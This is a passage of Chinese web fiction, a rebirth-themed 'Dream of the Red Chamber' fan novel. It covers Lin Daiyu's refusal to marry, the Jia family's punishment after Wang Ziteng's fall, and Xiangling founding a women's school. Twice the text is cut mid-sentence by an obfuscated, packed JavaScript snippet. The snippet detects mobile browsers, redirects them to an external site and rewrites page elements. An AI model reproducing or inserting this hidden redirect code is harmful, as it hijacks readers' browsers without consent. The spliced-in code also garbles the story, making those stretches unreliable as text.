黛玉执子的手一顿:“是,过了年就十四了。” “十四……”林如海沉吟,“寻常人家姑娘,这个年纪该议亲了。” 黛玉心头一跳,垂眸不语,只将一枚白子落在棋盘上。 林如海观她神色,已知其意,仍道:“前日吏部侍郎夫人来,提起她家三公子,说是十八岁,已中了举人,人品才学都好,还有国子监李祭酒也托人问过……” “父亲,”黛玉轻轻打断,“女儿不想议亲。” 林如海抬眼:“为何?” 黛玉抬起头,神色清明:“女儿以为,女子在世,未必非要嫁人,读书明理,修身养性,一样能安身立命,何必将一生系于婚姻之事?” 林如海放下棋子,细细端详女儿,少女眉眼间已脱了稚气,透着几分清冷孤高,这模样,这性情,竟像极了她早逝的母亲。 “你母亲若在,”林如海轻叹,“必也舍不得你早早出嫁。” 提到母亲,黛玉眼圈微红,母亲生前常说:女子不易,若能选,不如不嫁。那时她小不懂,如今懂了,母亲却已不在。 “父亲,”黛玉轻声道,“女儿想过了,与其嫁入别家受那三从四德的拘束,不如留在林家,陪侍父亲膝下,女儿能读书,能管家,能教弟,何须非得嫁人?” 林如海沉默良久,方道:“你可知道,世人会如何议论?” “知道,”黛玉淡然,“无非是说女儿不守妇道,或是说林家教养无方,可女儿以为,人生在世,但求问心无愧,何须在意他人言语?” “好一个问心无愧,”林如海赞许,“玉儿,你比你父亲看得通透。” 他起身踱到窗前,望着檐下雨帘,缓缓道:“你既如此想,为父也不勉强,我林如海的女儿,原就不必依傍他人,你想读书便读书,想管家便管家,想终身不嫁那便不嫁,林家永远是你的后路。” 黛玉心头一暖,起身施礼:“谢父亲。” “不过……”林如海转身,眼中闪过一丝戏谑,“若是你哪天改了主意,想寻个知心人,为父也不反对,到时候咱们赘个上门女婿,让他住在咱家,你依旧当家作主如何?” 黛玉一愣,随即红了脸:“父亲!” 林如海哈哈大笑:“玩笑,玩笑,为父是说,凡事总有万全之策,若是真不想嫁,又怕晚年寂寞,待你年纪大了,过继个孩子来承欢膝下,也是一样的。” 正说着,长生端着茶进来。 方才在外头,他已听到大半对话,此时笑道:“父亲这主意好,姐姐这般人物,何必困于后宅?那些世俗规矩本就是对女子的束缚。” 林如海接过茶,似笑非笑看着长生:“哦?长生有何高见?” 长生正色道:“儿子以为,女子之所以难与男子比肩,并非才学不足,而是被婚姻家庭所累,成亲生子,操持家务,耗费太多心力,若女子也能像男子一般,专心读书治学,成就未必不如男子。” “比如呢?”林如海饶有兴趣。 “比如前朝女词人李清照,若非丈夫早逝,家道中落,被迫颠沛流离,或许能有更多传世之作。”紧接着长生道,“又比如本朝几位才女,出嫁前还能作诗填词,出嫁后便泯然众人,非是才情消减,而是俗务缠身,再无暇他顾。” 林如海点头:“说得有理,只是……长生啊,”他话锋一转,“你这般为女子鸣不平,可是有了意中人,怕耽误人家?” 长生一怔,随即失笑:“父亲说笑了,儿子才几岁哪里来的意中人?” “十岁不小了,”林如海笑道,“寻常人家,十二三岁定亲的也有,你既这般懂得怜惜女子,将来必是个体贴的,为父倒要想想,该给你寻个什么样的媳妇。” 长生哭笑不得:“父亲,儿子说的是正理,您怎么扯到这上头来了?” “正理归正理,婚事归婚事。”林如海道,“你姐姐不想嫁,为父不勉强,你可不行,林家还得靠你传宗接代呢。” 黛玉在一旁抿嘴笑:“父亲偏心。弟弟的婚事要操持,女儿的便随我去。” “偏你眼尖,连这个也要计较,”林如海捻须笑道,“你弟弟是块顽石,不敲打不成器,你是颗明珠,父亲岂敢随意安置?前儿说与你的话都作数的,玉儿若不愿出阁,待过了几年我便将林家些许产业交于你打理。 这话说得通透,黛玉心中感动,低声道:“父亲待女儿,实在是太好了。” “傻孩子,”林如海温声道,“你母亲去得早,为父若再不疼你,谁疼你?” 三人正说着话,外头紫鹃进来:“老爷,姑娘,少爷,甄先生来了。” 甄士隐提着食盒进来,笑道:“下着雨,想着你们爷仨定在书房说话,便炖了冰糖雪梨送来,秋燥,润润肺。” 黛玉忙接了食盒:“有劳先生。” 甄士隐摆摆手,在旁坐下,林如海将方才的话说了,问道:“甄兄以为如何?” 甄士隐沉吟道:“林姑娘志存高远,非寻常闺阁女子可比,林公能如此开明,实是林姑娘之幸,只是……”他看向长生,“少爷方才那番话,老朽以为,只说对了一半。” “请先生指教。”长生恭敬道。 “女子确因家事所累,难展抱负,”甄士隐缓缓道,“可男子又何尝不被功名所累?读书人寒窗苦读,求取功名,武人沙场拼命,博个封妻荫子,说到底世人皆在牢笼之中,只是牢笼不同罢了。” 长生若有所思。 甄士隐再道:“故而老朽以为,要紧的不是男子女子,其本质是能否跳出这牢笼,活出自在,林姑娘不愿嫁人是跳出婚姻的牢笼,林少爷将来若不愿为官,也可跳出功名的牢笼,人生在世,但求心安,何必拘泥于形迹?” “先生说得好。”林如海击掌道,“跳出牢笼,活出自在,甄兄这话可谓通透。” 黛玉轻声道:“先生说得是,只是跳出牢笼谈何容易,世人眼光,世俗规矩,哪一样不是枷锁?” “所以需要底气,”甄士隐微笑,“林姑娘有林公这样的父亲,有林家这样的家世,这便是底气,寻常女子想不嫁怕是要被唾沫星子淹死,林姑娘想不嫁,却可逍遥自在,这便是差别。” 林长生笑而不语,这句话虽然实话,但也难听,上一世父亲早逝,自己夭折,姐姐不就是抑郁而终吗? 正说着,外头忽然传来敲门声,林忠撑着伞进来:“老爷,贾府琏二爷来了,说有要事。” 林如海与黛玉对视一眼。贾琏这时候来,怕是贾府那边又有变故。 “请他到花厅。” 贾琏一身雨水进来,神色焦急,见了林如海,来不及寒暄,便道:“姑父,出事了!” “何事慌张?” “我二叔……我二叔他……”贾琏喘着气,“他被都察院传讯了!” 林如海眉头一皱:“为何?” “说是与王子腾案有牵连,”贾琏抹了把脸上的雨水,“今早都察院来人,将二叔带走了,老太太急得晕过去,府里乱成一团,侄儿实在没法子,只能来求姑父。” 林如海沉默片刻,问道:“王子腾案,贾家到底牵扯多深?” 贾琏苦笑:“姑父明鉴,这些年,王家与贾家往来密切,二叔虽不管事,可许多事他也脱不了干系,前次交出的那些账目,只是冰山一角,如今王子腾倒了,墙倒众人推,那些陈年旧账怕是要一并翻出来。” 黛玉在一旁听了,心中了然,贾政胆小怕事,这些年虽未主动参与王家的勾当,可收受贿赂、包庇纵容之事定是有的,如今王子腾案发,贾家被牵连也是意料之中。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111979|192023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想让我如何?”林如海问。 “求姑父在圣上面前美言几句,”贾琏跪倒,“我二叔虽有错,可罪不至死,贾家、贾家上下几百口人,不能就这么毁了。” 林如海扶起他:“你先起来,这事我尽力而为,只是贾家这些年所作所为,圣上心中自有明断,我能做的不过是据实以告,请圣上酌情处置。” “多谢姑父!”贾琏又要跪,被林如海拦住。 送走贾琏,林如海长叹一声:“树倒猢狲散,王家一倒,不知要牵连多少人。” 长生道:“父亲真要帮贾家?” “贾府有错,罪不至死,况且,”林如海叹了口气,又道,“我们与贾家终究有些渊源,能帮一把,便帮一把罢。” 黛玉轻声道:“父亲不必顾忌女儿,女儿与贾家,早已了断。” “了断是了断,情分是情分,”林如海拍拍她的手,“你母亲若在,也不愿见贾家落得那般下场。” 一旁的林长生不做声了,他意识到父亲是在保护林家,王子腾已倒,若贾府也崩塌,没了其他威胁,圣上下一个要对付的就是林家,林家近期名声太大了。 正说着,外头雨声转急,狂风卷着雨点,敲打着窗棂,甄士隐起身关窗,见院中芭蕉被风吹得东倒西歪,叹道:“好大的风雨。” 林如海望着窗外,道:“这京城怕是要变天了。” 确实要变天了。 没过多久,圣旨下:王子腾通敌卖国,罪证确凿,判斩立决,家产抄没,族人流放三千里。贾政包庇纵容收受贿赂,革去工部员外郎之职,罚俸三年,闭门思过,贾赦、贾珍等各有惩处,荣宁二府罚银十万两,以儆效尤。 旨意传到贾府,贾母又晕了一回,贾政跪在祠堂,三日不起,贾琏、贾蓉等四处奔走,求爷爷告奶奶,却无人敢应。 昔日门庭若市的荣宁街,如今冷清得落叶可闻。 而林府这边是另一番景象,林如海复职后,圣眷更隆,这日宫中又来人,赏下绫罗绸缎和金银珠宝,说是贵妃娘娘赐给林姑娘的。 黛玉接了赏,心中疑惑,她与元春并无交情,为何突然赏赐? 传旨的太监笑道:“林姑娘不知,贵妃娘娘在宫中听说林姑娘的事,赞姑娘有气节,有风骨,特让咱家传话,说姑娘若得空,可进宫陪娘娘说话。” 黛玉忙道:“谢娘娘厚爱,只是臣女年幼无知,不敢擅入宫闱。” 太监道:“姑娘不必过谦,娘娘说了,她就喜欢姑娘这样的性情,过些日子宫中设宴,姑娘定要来的。” 送走太监,黛玉心中不安,元春此举,是何用意?拉拢?示好?还是另有图谋? 林如海得知后,沉吟道:“贵妃娘娘施恩,你且应下,到时见机行事便是。” “女儿明白。” 此事传到贾府,又引起一番波澜,宝玉听说元春召黛玉进宫,心中欢喜,以为有了转机。 这日又来到林府,这回不哭不闹,只让门房递了张帖子,上头写着一首诗: “秋雨连绵惹旧思,潇湘竹影梦回时。 当年共读西厢记,今日独吟红豆词。 玉碎可曾知我意,花飞何必怨春迟。 他年若得重相见,不负平生一片痴。” 黛玉看了帖子,默然良久,提笔回了一首: “雨打芭蕉莫问因,前尘已作梦中尘。 无心再续西厢记,有意休提红豆词。 玉碎原非君本意,花飞自是春常事。 从今各自安天命,莫负清风明月时。” 让紫鹃交给门房,转给宝玉。 宝玉站在林府门口,得了回诗,看了一遍又一遍,浑身发寒,第一次觉得林妹妹真的心意已决,也意识到自己与林黛玉也不过儿时初见后再无交际,为何自己偏偏对她念念不忘? 雨后的庭院,清新如洗,芭蕉叶上水珠滚动,映着天光,晶莹剔透。 黛玉倚在窗前,忽然想起母亲生前教她的一句诗: “留得残荷听雨声。” 那时她不懂,如今懂了。 35.漱兰学社 却说王子腾伏诛,王家倾覆之后,京城风向骤转。 那薛家失了最大的倚仗,薛宝钗客居贾府,愈发如履薄冰,选秀之事因元春病重、宫中事务停滞,更兼薛蟠命案重提,早已无人提起。 贾府之中,贾政虽保住性命,却丢了实职,整日在家闭门思过,那往日门庭若市的荣国府门前,如今车马稀落,竟显出几分萧索来。 这日午后,黛玉正与香菱在荷风轩临帖,窗外秋雨初霁,几片残荷垂露,倒映着青砖灰瓦,别有一番清冷意趣。 “姑娘的字越发进益了,”香菱捧着黛玉新写的一阕《临江仙》,轻声念道,“‘半卷湘帘半掩门,碾冰为土玉为盆。’这‘碾冰’二字,真是清绝。” 黛玉搁下笔,接过紫鹃递来的热帕子拭手,含笑望着香菱:“你近来读杜诗,可有什么心得?” 香菱怔住,半晌才低声道:“昨日读《兵车行》里那句‘信知生男恶,反是生女好’,心里不知怎的,竟像堵了块石头。” 她抬起头,眼中闪着莹莹的光,“姑娘,这世道对女子未免太苛了些,便是读书识字也只许学些《女诫》《列女传》,好似女子生来便该困在方寸之间,做个提线木偶。” 黛玉闻言,手中帕子微微一滞。 “这话从何说起?”她缓步走到窗前,望着园中萧瑟秋景,“你我如今能在此读书写字,已是托了爹爹与长生的福,外头那些贫寒人家的女儿,莫说读书,便是吃饱穿暖都难。” 香菱跟到她身后,小心翼翼试探:“所以奴婢想……若是能开一处学社,专收女子读书识字,不论贫富贵贱,只论向学之心,该有多好。” “你说什么?”黛玉转过身来,眼中闪过惊异。 “奴婢想办个女子私塾,”香菱说得愈发清晰,“如今府里安定了,姑娘与老爷、少爷待我恩重如山,让我与父亲团聚,可我总想着,这世上还有许多如我从前一般飘零的女子,若能教她们识文断字,明白些道理,将来纵使命途多舛,至少心中有一盏灯亮着。” 话音才落,门外传来清脆的击掌声。 长生掀帘进来,小小年纪已长身玉立,穿着月白杭绸直裰,腰间系着青玉带,眉眼间带着少年人少有的沉稳,他身后跟着甄士隐,一袭青衫,面容清癯。 “好志气。”长生笑道,眼中无半点戏谑,“香菱姑娘这番心思倒让我想起前朝李易安,朱淑真那些才女,只是,”他话锋一转,“此事说起来容易,做起来却千难万难,先生以为如何?” 甄士隐捋须沉吟:“香菱此念,确是大善,可世俗礼法森严,女子抛头露面办学,恐遭非议,便是招得学生来,又去何处寻女先生?《女诫》《内训》之类的书倒好教,可若真要教四书五经、诗词歌赋,便是寻常举人进士,也未必肯屈尊来教女子。” “父亲说得是,”香菱敛衽一礼,炯炯有神,“所以女儿想,这学社不该只教那些束缚女子的东西。四书五经、史籍算学,男子学得,女子为何学不得?至于先生,” “若一时寻不到,便请父亲暂代,女儿虽愚钝,这些年在姑娘身边也识得些字,读了些书,做个启蒙的先生,想来也够的。” 黛玉忽然开口:“银钱呢?办学需场地、笔墨、束脩,贫寒女子更要免去学费,这笔开销不小。” 香菱从袖中取出一个小布包,层层打开,里头是几锭碎银并一串铜钱:“这是姑娘这些年赏我的月钱,我省吃俭用攒下的,约莫有五十两,前日去城西看过,有一处临街的二进院子要租,年租金三十两,余下的置办桌椅书本,先招三五学生,慢慢来。” 长生与黛玉讶然。 “不够,”黛玉转身走到内室,不多时捧出一个紫檀木匣子,“这里头是我存的体己,有二百八十两,你既要做这桩善事,我怎能不帮?” “姑娘不可!”香菱慌忙摆手,“这是您的贴己银子,我怎能……” “什么贴不贴己。”黛玉笑容清浅,将匣子塞进她手里,“我如今也想明白了,女子活一世,若只盯着那些眼界未免太窄,你这学社若真办成了,便是开千古先河,比什么嫁妆都贵重。” 长生看着姐姐眼中难得的光彩,心头微动,欢喜,前世黛玉困于情痴、囿于病弱,何曾有过这般神采飞扬的时刻?于是开口道:“既如此,我也添一份。” 他从怀中取出一张银票,面额五百两:“这是前些日子周祭酒荐我去国子监讲学,监生们凑的润笔,我本不肯收,周祭酒说这是规矩,如今拿来办学,倒比存在库房里强。” 香菱捧着银票,手微微发抖,眼眶已红了。 甄士隐长叹一声:“罢罢罢,你们年轻人既有这般胸襟,我这把老骨头也不能落后,我这便修书几封,请几位故交旧友来撑撑场面。” 他看向香菱,“这学社的名字,可想好了?” 香菱怔了怔:“就叫女子私塾,可好?” 长生失笑:“太直白了,既要开风气之先,名字须雅致些,让人一听便知是女子读书的所在,又不落俗套。” “那……叫女阁?闺塾?”香菱试探着问。 黛玉摇头:“阁闺二字,还是把女子困在方寸之间,既要破旧立新,名字便该跳出这些框框。” 四人一时沉默,窗外秋风过竹,飒飒有声。 香菱忽然眼睛一亮:“有了!就叫漱兰学社如何?《离骚》有云,朝饮木兰之坠露兮,夕餐秋菊之落英。‘漱’字取涤荡心胸之意,‘兰’乃君子之花,喻女子才德,这学社不教那些陈腐规矩,只教真学问真道理,让女子也能如兰般高洁,漱洗心性,岂不正合?” “好!”甄士隐拊掌赞道,“这名字雅而不俗,寓意深远。只是,”他蹙眉,“你方才说,要教四书五经?” “正是。”香菱挺直脊背,“世人总说‘女子无才便是德’,可我偏要证明女子有才亦能有德,有德更该有才。那些《女诫》《内训》,学社里自然也要教,却不该是全部,诗词文章、史籍算学、琴棋书画,但凡男子学得的,女子一样能学。” 长生深深看了香菱一眼,前世那个懵懂痴憨、被夏金桂打骂凌虐的香菱,今生竟能说出这番话,可见这些年跟在姐姐身边,耳濡目染,早已脱胎换骨。 “姐姐既有此志,我便再助你一助。”长生道,“如今朝中新旧交替,圣上正提倡教化,我明日便去拜访周祭酒、沈世伯,请他们在清流中造些声势,若有德高望重的老先生肯挂个名,那些闲言碎语便能少些。” 黛玉接道:“我也可请素心姐姐、玉如她们来,她们家中都是清流门第,若能来学社看看,或荐几个学生,或帮着宣扬,都是好的。” 事情便这样定了下来。 不出半月,“漱兰学社”的招牌便在城西一处清幽院落挂了起来,门楣上是甄士隐亲题的匾额,笔力遒劲,自有一番风骨。 院内两进,前院三间敞厅做学堂,后院五六间厢房做先生住处、藏书阁。庭院里种了几丛翠竹、数株寒梅,虽简陋,却收拾得干干净净。 开社那日,来的宾客却出乎意料的多。 严素心携着沈家姐妹最早到,送了十套文房四宝、二十册启蒙书籍,沈玉如性子活泼,拉着香菱的手笑道:“好姐姐,你这学社若缺先生,我也来凑个数,我虽不如林妹妹有才,教女童识字还是够的。” 王婉容、孙若兰、周静姝也陆续到了,各自带了贺礼,最让人意外的是牛萱,竟乘着镇国公府的朱轮车亲自来了,身后丫鬟捧着两个大红锦盒。 “林妹妹不肯收我的礼,这回总该收了吧?”牛萱今日穿了件鹅黄遍地金褙子,妆容精致,笑意比从前真诚许多,“这是我从自家书楼里挑的五十本珍本,另有一百两银子,算是我的一份心意。” 黛玉迎上前,:“牛姐姐厚意,本不该辞,只是这学社是香菱主持,妹妹我只是帮衬,这礼...” “那就当是我捐给学社的。”牛萱将锦盒递给香菱,转头对黛玉低声道,“我知你顾虑什么,你放心,我今日来,只因佩服香菱姑娘这份胆识,与我父亲无关。” 正说着,门外又来了两乘青布小轿。 前头轿子里下来的是个带发修行的女尼,穿着月白僧衣,外罩水田青缎镶边背心,容貌清丽绝俗,眉目间却带着几分孤高冷傲,后头轿子里是个十二三岁的少女,穿着半新不旧的玫瑰紫二色金银鼠比肩褂,瓜子脸,大眼睛,未语先笑,透着股爽利劲儿。 “妙玉师父?”香菱认得前头那女尼,是牟尼院里带发修行的妙玉,前些年曾在贾府栊翠庵住过些时日,后来因与贾府众人不睦,又回了牟尼院。 妙玉合十行礼,声音清冷:“听闻此处要办女子学社,贫尼特来结个善缘。”她从袖中取出一个油纸包,“这是我自己抄的《金刚经》十部,可做字帖用,另有一百两银票,是我这些年攒下的香火钱。” 那后头的少女已蹦跳着过来,笑嘻嘻道:“我是史湘云,我叔叔史鼐家的,听说这儿收女学生,不论贫富贵贱,我便求了婶娘让我来看看!” 她打量香菱几眼,“你就是香菱?我听说你从前是林家的丫鬟,如今竟能办学,好生厉害!” 香菱被她说得脸一红,忙请二人入内。 长生站在廊下,将这一切尽收眼底,他前世对史湘云印象不深,只记得是个心直口快、才情不俗的姑娘,后来……记不清了罢,至于妙玉,更是孤高太过,终落得“欲洁何曾洁”的下场。 如今这二人竟被“漱兰学社”吸引而来,可见世事变迁,早已不同前世轨迹。 众人聚在学堂中说话,妙玉话不多,只静静听着,偶尔开口却总能切中要害,史湘云则叽叽喳喳说个不停,从诗词谈到书画,又从书画谈到针黹,最后拍手道:“香菱姐姐,你这学社还缺不缺先生?我在家也教过几个小丫鬟识字,若你不嫌弃,我也来帮衬!” 香菱又惊又喜:“史姑娘肯来,自然是求之不得。只是……” “只是什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152437|192023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕我教不好?”史湘云撇嘴,“你别看我年纪小,四书我都通读过的,诗词更不必说,我叔叔都说我比族学里那些小子强!” 严素心抿嘴笑道:“湘云妹妹的才情我是知道的,去年重阳诗会,她那首《对菊》‘别圃移来贵比金,一丛浅淡一丛深’,连周祭酒都夸好呢。” 众人正说笑着,忽听门外传来一阵马蹄声。 长生走到门口,只见一乘八人抬的暖轿停在巷口,轿帘掀起,下来个身着亲王常服的年轻男子,面如美玉,目似朗星,正是北静王水溶。 他心中微凛,面上不露声色,上前行礼:“学生见过王爷。” 北静王虚扶一把,笑容温润:“不必多礼,本王今日路过,见此处热闹,又听闻是林府办的女学,特来瞧瞧。”他目光扫过院内众人,在黛玉身上停留一下,随即转向香菱,“这位便是主事的香菱姑娘?” 香菱忙上前见礼。 北静王命随从奉上一个锦盒:“这是本王一点心意,里头是前朝徐文长手批的《论语》一部,另有两方端砚、二十刀宣纸,望学社蒸蒸日上,为天下女子开一扇窗。” 众人忙都行礼谢恩。 北静王却不入内,只站在院中与长生说了几句闲话,问了些学业上的事,便告辞离去,临行前似无意般道:“今科春闱在即,长生若有意下场,可来王府,本王有几本前朝大儒的策论笔记,或可一观。” 长生恭声应了,心中警铃大作。 送走北静王,院内气氛稍显凝重,甄士隐走到长生身边,提醒道:“这位王爷心思深得很,他今日来怕是醉翁之意不在酒。” 长生点头:“先生放心,我省得。” 门口林黛玉正在偷听,香菱轻轻握住她的手,低声道:“姑娘,咱们进屋吧,外头风凉。” 众人重回堂内,再无方才的热闹,史湘云心直口快,问道:“林姐姐,方才那是北静王?我听说他与爱哥哥……” “这事不提也罢,”黛玉道,转身对香菱笑了笑,“咱们继续说学社的事,方才湘云妹妹说要来做先生,我倒是想起咱们还缺个教琴的先生,妙玉师父琴艺超绝,不知可肯屈就?” 妙玉微微颔首:“若只是教琴,贫尼可以一试。” 气氛这才重新活络起来,众人商议定,漱兰学社先开三科:识字启蒙科由香菱、史湘云主教,诗词文章科由黛玉、严素心等轮流来讲,琴艺科则由妙玉负责。甄士隐暂时挂名学监,实际教授经史,束脩分三等:富家女每季五两,中等人家二两,贫寒者免学费,笔墨纸砚由学社供给。 消息传开,京中哗然。 有赞林家仁善、开风气之先的,也有骂伤风败俗、牝鸡司晨的,清流之中,周文渊、沈砚等人联名写了一篇《劝学社序》,称“女子明理,则家国昌盛”,为学社正名。勋贵那边,因着北静王亲自送礼,牛萱公开支持倒也无人敢明着为难。 只有贾府,沉寂得可怕。 这日傍晚,长生从国子监回来,见黛玉独坐在荷风轩廊下,望着满池枯荷出神。 “姐姐在想什么?”他走过去,挨着她坐下。 黛玉幽幽一叹:“我在想,这学社办起来容易,守下去难,今日北静王来,明日不知又有谁来。” 长生轻声道:“姐姐可知,我为何一定要帮香菱办学?” 黛玉转过头看他。 长生移开视线,“贾府逼婚、王家构陷、圣上制衡,咱们林家看似风光无限,实则每一步都被人牵着鼻子走,可若咱们自己能开出一条新路来呢?这学社若能成,将来从里头走出的女子,个个识文断字、明理通达,她们会成为妻子、母亲,教化子孙,又或者未来真的能建功立业,十年、二十年后会改变什么?” 他停顿片刻,压低声音:“况且,这也是为姐姐铺路,姐姐才情冠绝京城,难道真要困于闺阁,将来嫁个不知心的人,重复这世间女子老路?有了这学社,姐姐便有了施展的天地,便是将来议亲,对方也得掂量掂量能不能容得下姐姐这份胸襟抱负。” 黛玉怔怔听着,眼中聚起光来。 “长生,”她忽然道,“你才九岁,怎会想到这些?” 长生笑了笑,:“许是读书读多了,又或许是见女子拘泥于家宅太可惜了。” 姐弟二人默然对坐,暮色渐渐染红了半边天。 此时荣国府内,贾母靠在榻上,听着王夫人回话,脸色灰败。 “林家那丫头,真办起学社了?” “是,今日开社,连北静王都去了,”王夫人垂着眼,“送了不少厚礼。” 贾母闭了闭眼,半晌才道:“咱们府里,如今还有多少银子?” 王夫人一愣:“老太太问这个做什么?” “做什么?”贾母苦笑,“林家步步高升,咱们却一日不如一日。元春在宫里病着,宝玉又那样,若不早做打算,只怕这国公府的门楣,真要塌了。” 窗外秋风呜咽,卷起满地枯叶。